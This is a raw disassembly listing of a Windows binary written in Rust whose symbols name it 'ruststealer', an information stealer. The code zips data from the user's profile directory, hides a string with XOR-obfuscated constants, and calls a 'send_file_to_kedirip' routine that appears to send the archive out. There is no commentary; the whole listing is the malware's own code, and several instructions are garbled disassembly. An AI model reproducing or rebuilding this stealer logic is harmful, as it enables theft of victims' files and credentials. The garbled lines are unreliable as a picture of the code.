cmp rsi, 4
jne 0x140010a2c
mov byte [rsp + 0x1b8], 1
and al, 0xb8
add dword [rax], eax
add byte [rcx], al
mov r13, qword [rbx + 0x28]
test r13, r13
movabs r12, 0x8000000000000000
je 0x14000f387
js 0x140010a27
mov rsi, qword [rbx + 0x20]
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r13
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x140010afc
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sym.memcpy
mov rbp, rdi
jmp 0x14000fef3
cmp byte [rsi + 0x10], 0x23
jne 0x140010ac1
and ecx, dword [rdi]
test edi, edx
or eax, dword [rax]
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x14000f36e
cmp byte [rsp + 0x1b8], 0
je case.default.0x14000ff2d
mov rax, qword [rsp + 0x160]
xor rax, r12
cmp rax, 4
mov ecx, 2
cmovae rax, rcx
lea rcx, [0x1402ba20c]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
lea rax, sym._ZN4core3ptr135drop_in_place_LT_flate2..deflate..write..DeflateEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..V
mov rcx, r14
jmp rdx
mov r8d, 0x1c
mov cl, 0xb
lea rdx, str.ZipWriter_was_already_closedUnsupported_compression
call sym.std::io::error::Error::new::h5cbcaa7adb5f47aa
mov rsi, rax
and eax, 3
loopne 0x14000ff4c
loopne 0x14000ff4c
lea rcx, [0x1402ba21c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
int3
enter 0xffffffffffffe0ff, 0xf
invalid
mov r8d, 0x18
mov cl, 0x27
lea rdx, str.No_file_has_been_started8
call sym.std::io::error::Error::new::h5cbcaa7adb5f47aa
mov rsi, rax
and eax, 3
lea rcx, [0x1402ba21c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r8, r13
call sym.memcpy
add r15, r13
mov qword [rsi + 0x10], r15
mov rsi, r13
mov rax, r13
sub rax, rsi
jb 0x14001093a
add rbp, rsi
mov r13, rax
jmp 0x14000feea
cmp byte [rsi + 0xf], 0x23
jne 0x140010ac1
mov r15, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14001006f
mov rcx, r15
call rax
cmp qword [rbx + 8], 0
je 0x140010092
cmp qword [rbx + 0x10], 0x11
jb 0x140010081
mov r15, qword [r15 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
dec rsi
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rsi
call fcn.14013f0f4
jmp 0x14000feea
loopne 0x1400101ee
cmp eax, 4
mov ecx, 2
cmovae rax, rcx
cmp rax, 2
jb 0x1400101c4
jne 0x1400101d9
lea rcx, [rsp + 0x30]
call sym._ZN4core3ptr135drop_in_place_LT_flate2..deflate..write..DeflateEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..V
mov eax, esi
and eax, 3
lea rcx, [0x1402ba21c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x38]
call sym._ZN4core3ptr120drop_in_place_LT_bzip2..write..BzEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..Vec_LT_u8_GT__GT
mov eax, esi
and eax, 3
lea rcx, [0x1402ba21c]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rax, rsi
shr rax, 0x20
cmp eax, 0x23
je 0x14000feea
jmp case.0x14000ff57.2
call sym.std_detect::detect::cache::detect_and_initialize::hd5f47d77c8028536
mov rcx, rax
xor eax, eax
test cl, 2
mov rbx, qword [rsp + 0x220]
jne 0x14000fd47
jmp 0x14000fd5d
call sym.std_detect::detect::cache::detect_and_initialize::hd5f47d77c8028536
jmp 0x14000fd57
mov rcx, r13
mov rdx, r15
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov r15, qword [r13 + 0x10]
mov r8, rsi
mov r14, qword [r13 + 8]
sub r8, r15
ja 0x14000fcd9
jmp 0x14000fced
lea rcx, [rsp + 0x30]
lea rsi, [rsp + 0x130]
mov rdx, rsi
call sym.zip::write::ZipWriter_W_::finalize::h4e127c6e69c2859f
mov rax, qword [rsp + 0x30]
cmp rax, 4
jne 0x140010c27
mov rcx, qword [rsp + 0x160]
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x160], r12
cmp rcx, qword [rsp + 0x218]
jne 0x140010c42
mov r15, qword [rax + 8]
mov rdi, qword [rax + 0x10]
test rdi, rdi
je 0x1400102df
js 0x140010a27
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x140010aef
mov r14, rax
jmp 0x1400102e5
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x258], rdi
mov qword [rsp + 0x260], r14
mov qword [rsp + 0x268], rdi
cmp qword [rsp + 0x160], r12
je 0x1400104c5
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x130]
call sym.zip::write::ZipWriter_W_::finalize::h4e127c6e69c2859f
cmp dword [rsp + 0x1c0], 4
lea r14, [rsp + 0x160]
je 0x140010498
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x110], xmm0
lea rax, [0x140346110]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x200], rax
lea rax, [sym.__zip::result::ZipError_as_core::fmt::Debug_::fmt::h7957ddd859db361b]
mov qword [rsp + 0x208], rax
lea rax, [0x1402c0a58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x30]
call sym.__std::io::stdio::Stderr_as_std::io::Write_::write_fmt::h45a178e9f529b5db
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x14001042f
mov r15, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x1400103f8
mov rcx, r15
call rax
dec rdi
cmp qword [rbx + 8], 0
je 0x14001041e
cmp qword [rbx + 0x10], 0x11
jb 0x14001040d
mov r15, qword [r15 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
cmp qword [rsp + 0x110], 0
jne 0x140010498
mov rdi, qword [rsp + 0x118]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140010498
mov r15, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140010461
mov rcx, r15
call rax
dec rdi
cmp qword [rbx + 8], 0
je 0x140010487
cmp qword [rbx + 0x10], 0x11
jb 0x140010476
mov r15, qword [r15 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
mov rax, qword [rsp + 0x160]
xor rax, r12
cmp rax, 3
ja 0x1400104bd
cmp rax, 2
jb 0x1400104c5
lea r14, [rsp + 0x160]
jne 0x140010565
mov rcx, r14
call sym._ZN4core3ptr135drop_in_place_LT_flate2..deflate..write..DeflateEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..V
mov rdi, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x140]
test rbx, rbx
je 0x14001058b
lea r14, [rdi + 0x50]
jmp 0x140010500
add r14, 0xa8
dec rbx
je 0x14001058b
cmp qword [r14 - 0x50], 0
je 0x140010519
mov r8, qword [r14 - 0x48]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [r14 - 0x38], 0
je 0x140010532
mov r8, qword [r14 - 0x30]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [r14 - 0x20], 0
je 0x14001054b
mov r8, qword [r14 - 0x18]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [r14 - 8], 0
je 0x1400104f0
mov r8, qword [r14]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400104f0
lea rcx, [rsp + 0x168]
call sym._ZN4core3ptr120drop_in_place_LT_bzip2..write..BzEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..Vec_LT_u8_GT__GT
mov rdi, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x140]
test rbx, rbx
jne 0x1400104de
cmp qword [rsp + 0x130], 0
je 0x1400105a7
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rdi
call fcn.14013f0f4
cmp qword [rsp + 0x148], 0
je 0x1400105c8
mov r8, qword [rsp + 0x150]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0xf0], 0
je 0x1400105e9
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
lea rdx, str.USERPROFILE
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call sym.std::env::_var_os::hf57a8ad827b86018
mov rdx, qword [rsp + 0x30]
cmp rdx, r12
je 0x140010c5a
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
cmp byte [rsp + 0x48], 0
mov r14, qword [rsp + 0x1e0]
je 0x140010863
mov qword [rsp + 0x130], rdx
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x110], rsi
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hc4f37428fa496577]
mov qword [rsp + 0x118], rax
lea rax, [0x1402c0fc0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x30]
call sym.alloc::fmt::format::format_inner::h016d222f45dabbf4
cmp qword [rsp + 0x130], 0
je 0x1400106c1
mov r8, qword [rsp + 0x138]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov rbx, qword [rsp + 0xf0]
lea rax, [0x1402ba498]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x75b864a55204240
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::hf0196d9dc83d14ab
movabs rcx, 0xfbaa3e571c7d7190
xor rcx, qword [rax]
movabs rdx, 0x1deff29730708c87
xor rdx, qword [rax + 8]
movabs r8, 0x1ed2682794110a69
xor r8, qword [rax + 0x10]
movabs r9, 0x3b6f8c692902984c
xor r9, qword [rax + 0x18]
movabs r10, 0x94eb636496bbea18
xor r10, qword [rax + 0x20]
mov r11d, 0xe8747bc7
xor r11d, dword [rax + 0x28]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x50], r10
mov dword [rsp + 0x58], r11d
lea rcx, [rsp + 0x258]
lea r9, [rsp + 0x30]
mov rdx, rsi
mov r8, rdi
call sym.ruststealer::kedirip::send_file_to_kedirip::he71f50e8d17925ab
test rbx, rbx
je 0x1400107a8
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rsi
call fcn.14013f0f4
cmp qword [rsp + 0x230], 0
mov rdi, qword [rsp + 0x238]
je 0x1400107d1
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x228]
call fcn.14013f0f4
test r14, r14
je 0x14001082c
mov rax, qword [rsp + 0x1d8]
lea rsi, [rax + 0x20]
jmp 0x1400107f9
add rsi, 0x30
dec r14
je 0x14001082c
cmp qword [rsi - 0x20], 0
je 0x140010812
mov r8, qword [rsi - 0x18]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsi - 8], 0
je 0x1400107f0
mov r8, qword [rsi]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400107f0
test rdi, rdi
je 0x140010847
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x1d8]
call fcn.14013f0f4
movaps xmm6, xmmword [rsp + 0x270]
add rsp, 0x288
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
je 0x14001062b
movzx r8d, byte [rsp + 0x4f]
shl r8d, 0x10
movzx r9d, word [rsp + 0x4d]
or r9d, r8d
shl r9, 0x20
mov r8d, dword [rsp + 0x49]
or r8, r9
lea r9, [rcx + rax]
mov r11, rcx
jmp 0x1400108ac
add r11, 2
cmp r10, r9
cmovne r10, r11
nop
mov r11, r10
cmp r10, r9
je 0x14001062b
lea r10, [r11 + 1]
movzx ebx, byte [r11]
test bl, bl
jns 0x1400108a0
cmp bl, 0xe0
jb 0x140010894
cmp bl, 0xed
jne 0x1400108ec
cmp r10, r9
je 0x14001062b
lea r10, [r11 + 2]
cmp r10, r9
je 0x14001062b
cmp byte [r11 + 1], 0x9f
ja 0x140010c69
add r11, 3
mov r10, r11
jmp 0x1400108a0
add r11, 2
cmp r10, r9
cmove r11, r10
xor r10d, r10d
cmp r11, r9
setne r10b
add r10, r11
cmp bl, 0xf0
jb 0x1400108a0
xor r11d, r11d
cmp r10, r9
setne r11b
add r10, r11
jmp 0x1400108a0
lea r8, str._rustc_804421dff5542c9c7da5c60257b5dbc849719505library_std_srciomod.rs
mov rcx, rsi
mov rdx, r13
call sym.core::slice::index::slice_start_index_len_fail::h3f646e8722da45b7
lea rcx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
call sym.core::option::unwrap_failed::h023124a4722a3daa
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.srcutils.rs
jmp 0x140010a05
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_ptr
lea r9, sym.core::ptr::drop_in_place_alloc::string::String_::hcf6c181be782201a
lea r8, [rsp + 0x30]
mov edx, 0x11
call sym.core::result::unwrap_failed::he553ba724245dc85
call sym.alloc::raw_vec::capacity_overflow::h1e9621a84679a79e
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
jmp 0x140010a70
lea rcx, [0x1402c0194]
lea r8, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov edx, 0x29
call sym.std::panicking::begin_panic::h177781008b05c08f
mov r8, r14
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
test rdi, rdi
je 0x140010a70
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
lea rax, str.srclog.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::hda5b669e7cfc2109
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
lea r8, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov rcx, rsi
mov rdx, r13
call sym.core::slice::index::slice_end_index_len_fail::hda10811658e048af
lea rsi, str.failed_to_write_whole_buffer
mov qword [rsp + 0x30], rsi
lea rax, str.srclog.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1c28098bcf3777fe
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
mov ecx, 1
mov rdx, rdi
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
mov ecx, 1
mov rdx, r13
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
lea rcx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
call sym.core::option::unwrap_failed::h023124a4722a3daa
lea rcx, str.srclog.rs
call sym.core::option::unwrap_failed::h023124a4722a3daa
lea rcx, str.srclog.rs
call sym.core::option::unwrap_failed::h023124a4722a3daa
lea rcx, str.assertion_failed:_nsec___0__nsec___NSEC_PER_SECC:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_srclib.rs
lea r8, [0x14030ccb0]
mov edx, 0x32
call sym.core::panicking::panic::heacbd316ae05a694
call sym.std::io::error::Error::last_os_error::h70541d57a8d08909
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x110], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::h4e9e8ca6e8d37cbb]
mov qword [rsp + 0x118], rax
lea rax, [0x14030cd48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_src_sys.rsFileTimeToSystemTime_failed_with:
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::hbb9b898858802355
call sym.std::io::error::Error::last_os_error::h70541d57a8d08909
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x110], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::h4e9e8ca6e8d37cbb]
mov qword [rsp + 0x118], rax
lea rax, str.SystemTimeToTzSpecificLocalTime_failed_with:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_src_sys.rsFileTimeToSystemTime_failed_with:
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::hbb9b898858802355
movups xmm0, xmmword [rsp + 0x38]
mov qword [rsp + 0x30], rax
movups xmmword [rsp + 0x38], xmm0
lea rax, str.srclog.rs
jmp 0x140010a86
lea rcx, [0x1402c0194]
lea r8, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov edx, 0x29
call sym.std::panicking::begin_panic::h177781008b05c08f
jmp 0x140010c75
shl r8, 8
mov qword [rsp + 0x210], rdx
mov rdx, qword [rsp + 0x210]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r8
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym.core::ptr::drop_in_place_std::env::VarError_::h0eca1bee7e97dc6c
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
int3